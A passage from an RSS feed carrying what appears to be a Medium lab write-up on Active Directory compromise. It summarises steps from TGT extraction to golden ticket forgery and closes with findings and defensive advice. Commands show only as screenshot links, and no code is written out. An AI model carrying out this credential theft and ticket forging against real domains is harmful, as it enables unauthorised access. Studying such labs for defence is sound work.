src="https://cdn-images-1.medium.com/max/574/1*rASpLfwGpQg_C2cPVU7Kfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*7JZalf3S7dBUiiX0WzHKbw.png" /></figure><h3>3.11 Ticket Granting Ticket (TGT) Extraction</h3><p>A TGT was requested using extracted cryptographic keys.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OwV57EdVz6lEsPQnB_yBQQ.png" /></figure><h3>3.12 Remote Execution via Kerberos</h3><p>Using Kerberos authentication, remote execution was achieved.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*O9kWr9ypCf4wav-uu4abkw.png" /></figure><h3>3.13 Golden Ticket Creation</h3><p>A forged Kerberos ticket was generated for persistence.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dq63rF6At5P2LgB5UCLP9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0_wQhW1GGzudZLnrH8JqRg.png" /></figure><h3>3.14 Final Access Using Forged Ticket</h3><p>The forged ticket was used to authenticate and execute commands.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/924/1*eoVpWFvyKAHICHofQuIbaA.png" /></figure><h3>4. Key Findings</h3><ul><li>Credentials successfully extracted from memory</li><li>NTLM hashes enabled lateral movement</li><li>Domain controller secrets were compromised</li><li>Kerberos tickets were forged for persistence</li><li>Full SYSTEM-level access achieved</li></ul><h3>5. Conclusion</h3><p>This lab demonstrates how insufficient credential protection and weak authentication controls can lead to complete domain compromise. The attack chain highlights the importance of securing LSASS memory, restricting NTLM usage, and monitoring Kerberos activity.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8d73c5b5372b" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>